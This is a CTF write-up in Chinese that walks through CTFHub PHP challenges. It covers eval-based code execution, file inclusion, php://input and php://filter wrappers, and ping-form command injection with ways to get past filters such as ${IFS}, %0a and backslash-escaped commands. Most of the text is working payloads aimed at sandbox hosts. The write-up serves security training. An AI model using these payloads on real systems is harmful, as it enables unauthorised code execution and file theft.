一,eval执行
PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!
没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!
打开flag文件发现FLAG /?cmd=system("cat flag_1171");
!切记最后的分号不可省略!
二,文件包含
补充知识:
isset()函数
strpos()函数
启动环境
分析代码
strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag
点击shell,我们发现shell.txt中有一个变量ctfhub
我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!
request = post + get
我们使用HackBar,将命令赋值给shell.txt中的ctfhub
?file=shell.txt 将shell.txt 赋值给file
http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
ctfhub=system("ls /");
ctfhub=system("cat /flag");
三,php://input
补充知识:
php:// 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
启动环境:
分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);
查看phpinfo,发现以下字段,证明是可以使用php://input的。
burpsuite 抓包
查看flag文件,成功获得flag
启动环境
这里尝试使用 php://input ,发现不成功,那我们就换一个。
这里我们使用php伪协议中的php://filter
构造payload
/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
启动环境
分析代码:熟悉的strpos()函数
查看PHPinfo文件,发现可以使用php://input
POST /?file=php://input
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
补充知识:
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
我们随便输入一个ip,查看输出
这里我们输入ip & ls ,发现有文件的回显
1.1.1.1 & ls
使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag
1.1.1.1 & cat 56762100612447.php
过滤了cat命令之后,你还有什么方法能读到 Flag?
启动环境
1.1.1.1 & ls
既然过滤了cat,那我们尝试绕过过滤。
第一种,使用 \ '' "" {任意无意义变量名}
等方法均可绕过
1.1.1.1 & c\at flag_103292321323608.php
这次过滤了空格,你能绕过吗
1.1.1.1&ls
我们可以使用重定向符 < 来代替空格
1.1.1.1&cat
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
可以看到 flag_is_here 文件夹
1.1.1.1&ls
这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
12.0.0.1;cd flag_is_here;ls
cat 查看flag文件
12.0.0.1;cd flag_is_here;cat flag_536147747793.php
过滤了几个运算符, 要怎么绕过呢
& 以及其他的被过滤了 使用 ;
1.1.1.1;ls
1.1.1.1;cat flag_121702315315333.php
综合过滤练习
审计代码:这里过滤掉了 | ,& ,空格,; ,cat, flag, ctfhub
空格可以用${IFS}
cat可以用more
flag可以用f***
在linux下,命令分隔符除了;还有%0a
/?ip=127.0.0.1%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php